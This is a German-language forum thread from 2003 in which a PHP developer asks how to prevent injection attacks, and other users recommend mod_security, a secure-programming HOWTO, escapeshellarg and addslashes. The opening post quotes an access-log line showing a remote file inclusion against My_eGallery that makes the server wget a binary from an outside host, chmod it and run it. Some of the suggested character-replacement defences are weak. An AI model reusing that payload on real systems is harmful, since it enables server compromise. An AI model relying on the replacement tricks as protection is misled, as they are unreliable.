Injections vorbeugen

Bash, Shell, PHP, Python, Perl, CGI
relativity
Posts: 66
Joined: 2003-03-03 14:20

Injections vorbeugen

Post by relativity »

Bin eben erneut auf das Thema my_Egallery gestossen welches immernoch dazu
führt das jemand Source über eine PHP Injection ausführen kann auf einem
Server.

Code: Select all

200.158.98.178 - - [24/Dec/2003:03:22:57 +0100] "GET /modules/My_eGallery/public/displayCategory.php?
basepath=http://www.jesusaleluia.iwebland.com/dcphp3.gif?&cmd=cd%20/tmp;wget%20www.fdlsk8.hpg.ig.com.br/telnetd;chmod%20777%20telnetd;./telnetd HTTP/1.1" 200 3063
Meine Gedanken führten nun dazu, das ich mir mal meinen eigenen Source
angesehen habe, da ich auch diverse Variablen benutze, und
mir nun langsam Sorgen mache ob ich meinem eigenen Source
noch vertraue oder nicht.

Bin kein totaler Anfänger mehr in Sachen PHP, denke also ich kann
die gröbsten Fehler bereits ausschliessen die gemacht werden können
allerdings plagt mich noch eine gewisse Unsicherheit.

Habe auf die Variablen diverse Checks gemacht:
- ereg_replace von ' durch ´
- ereg_replace von ; durch :
- htmlspecialchars
- htmlentities


nun ist meine frage ob ich irgendwas grundlegendes vergessen habe
oder ob es noch andere möglichkeiten gibt, wie man solche injections
verhindern kann.

danke im voraus
oxygen
Posts: 2138
Joined: 2002-12-15 00:10
Location: Bergheim

Re: Injections vorbeugen

Post by oxygen »

mod_security
captaincrunch
Userprojekt
Userprojekt
Posts: 7066
Joined: 2002-10-09 14:30
Location: Dorsten

Re: Injections vorbeugen

Post by captaincrunch »

http://www.tldp.org/HOWTO/Secure-Progra ... O/php.html

(sowie das gesamte genannte Howto sonst auch ;) )
DebianHowTo
echo "[q]sa[ln0=aln256%Pln256/snlbx]sb729901041524823122snlbxq"|dc
relativity
Posts: 66
Joined: 2003-03-03 14:20

Re: Injections vorbeugen

Post by relativity »

hab keinen zugriff auf die apache config.
daher wollte ich direkt innerhalb des source
codes dem ganzen vorbeugen. deswegen steht
es im PHP Forum und net bei Webserver. :?
neox
Posts: 4
Joined: 2003-12-27 12:41

Re: Injections vorbeugen

Post by neox »

es gibt noch

- escapeshellcmd() und
- escapeshellarg() (schliesst den string in '' ein)

das mit dem Ersetzen von ";" ist ne gute Idee. Würde aber str_replace() verwenden, weils schneller ist.

was bringt das Ersetzen von ' zu ` ??

cu nEox
pedä
Posts: 51
Joined: 2002-08-13 19:30

Re: Injections vorbeugen

Post by pedä »

nEox wrote: was bringt das Ersetzen von ' zu ` ??
beugt einer mysql-injection vor..

grüssels
pedä
gamecrash
Posts: 339
Joined: 2002-05-27 10:52

Re: Injections vorbeugen

Post by gamecrash »

Wäre da nicht ein pauschales addslashes() für Text und intval() für Zahlen sinniger?